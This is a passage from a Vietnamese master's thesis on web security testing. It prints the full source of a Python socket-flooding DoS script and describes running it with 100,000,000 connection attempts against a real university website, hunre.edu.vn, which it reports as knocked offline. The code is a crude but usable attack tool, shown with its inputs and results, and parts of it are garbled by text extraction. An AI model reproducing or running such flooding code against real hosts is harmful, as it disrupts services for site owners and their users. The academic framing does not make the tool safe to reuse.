Kết quả thử nghiệm 2

Một phần của tài liệu (LUẬN văn THẠC sĩ) nghiên cứu phát hiện lỗ hổng bảo mật web và thử nghiệm (Trang 61 - 64)

Bước 1: Xây dựng chương trình thực hiện tấn công DoS bằng ngôn ngữ Python và

thực hiện tấn công vào địa chỉ trang website: hunre.edu.vn sau:

Hình 3.4: Giao diện trang website trước khi bị tấn công

Với chương trình được viết sau:

#Khai báo thư viện

import time import socket import os

import sys import string #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~# #Hàm khởi động chương trình def restart_program(): python = sys.executable

os.execl(python, python, * sys.argv) curdir = os.getcwd()

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~#

print (" CHUONG TRINH TAN CONG DDOS") print (" Tac gia: Nguyen Thi Thai ")

print (" ")

# Nội dung yêu cầu nhập

host=raw_input( "+ Nhap website can tan cong DoS:" ) port=input( "+ Cong(Port)muon thuc hien tan cong DoS:" ) message=raw_input( "+ Noi dung muon gui thong bao:" ) conn=input( "+ Cho phep so lan tan cong:" )

#Lấy địa chỉ IP để thực hiện tấn công

ip = socket.gethostbyname( host )

print ("[" + ip + "]")

print ( "[Ip da duoc khoa]" )

print ( "[Dang tan cong " + host + "]" ) print ("+---+") def dos():

dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:

dos.connect((host, 80)) dos.send( message )

dos.sendto( message, (ip, port) ) dos.send( message );

except socket.error, msg:

print("|[Ket noi bi loi...] |")

print ( "|[Dang thuc hien tan cong DoS...] |") dos.close()

# Duyệt số lần thực hiện tấn công

for i in range(1, conn):

dos()

print ("+---+")print("Tan cong da duoc hoan thanh!")

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~#

Bước 2: Chạy chương trình viết trên, kết quả xuất hiện các yêu cầu cần nhập vào

như:

Bảng 3.2: Bảng dữ liệu đầu vào thực hiện tấn công DoS

Nội dung yêu cầu Dữ liệu giả định

+ Nhập website cần tấn công DDoS: http://hunre.edu.vn

+ Cổng (port) muốn thực hiện tấn công DoS: 80

+ Nội dung muốn gửi thông báo: Xin thu mot lan cho biet….

+ Cho phép số lần tấn công: 100000000

Hình 3.5: Giao diện chương trình đang thực hiện tấn công DoS

Sau khi nhập đủ các thông tin theo yêu cầu, chương trình sẽ tự động thực hiện tấn công đến đối tượng đã chỉ định. Kết quả sau một thời gian trang web đã bị tê liệt hoặc làm gián đoạn không hoạt động, Hình 3.4 dưới đây cho thấy trang web có địa chỉ https://www.hunre.edu.vn đã bị từ chối truy cập:

Bước 3: Truy cập trình duyệt để kiểm tra trạng thái của trang web bị tấn công DoS:

Hình 3.6: Giao diện trang web bị tấn công DoS và không thể truy cập được

Một phần của tài liệu (LUẬN văn THẠC sĩ) nghiên cứu phát hiện lỗ hổng bảo mật web và thử nghiệm (Trang 61 - 64)

Tải bản đầy đủ (PDF)

(82 trang)